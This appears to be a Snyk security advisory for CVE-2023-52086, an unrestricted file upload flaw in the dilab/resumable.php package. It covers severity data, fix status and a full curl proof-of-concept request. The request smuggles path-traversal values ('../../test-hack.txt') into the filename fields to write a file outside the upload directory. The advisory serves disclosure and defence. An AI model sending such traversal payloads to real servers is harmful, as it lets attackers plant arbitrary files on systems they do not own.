Unrestricted Upload of File with Dangerous Type Affecting dilab/resumable.php package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Unrestricted Upload of File with Dangerous Type vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-DILABRESUMABLEPHP-6139933
  • published27 Dec 2023
  • disclosed26 Dec 2023
  • creditWilliam Desportes

Introduced: 26 Dec 2023

CVE-2023-52086  (opens in a new tab)
CWE-434  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Unrestricted Upload of File with Dangerous Type via specially crafted multipart/form-data content. An attacker can upload arbitrary files to any location on the server by exploiting this vulnerability.

Note: It is not possible to overwrite files after version 0.1.4 because of #27

PoC


curl 'https://example.org/upload.php?resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrentChunkSize=80881&resumableTotalSize=80881&resumableType=&resumableIdentifier=80881-resumablejsmap&resumableFileCategory=default&resumableFilename=../test.txt&resumableRelativePath=../../test-hack.txt&resumableTotalChunks=1' \
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryBAX4owzrRwdmveis' \
  --data-raw $'------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkSize"\r\n\r\n1048576\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableCurrentChunkSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableType"\r\n\r\n\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableIdentifier"\r\n\r\n80881-resumablejsmap\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFileCategory"\r\n\r\ndefault\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFilename"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableRelativePath"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="file"; filename="../../test-hack.txt"\r\nContent-Type: application/octet-stream\r\n\r\ntestok\r\n------WebKitFormBoundaryBAX4owzrRwdmveis--\r\n' \--compressed

CVSS Scores

version 3.1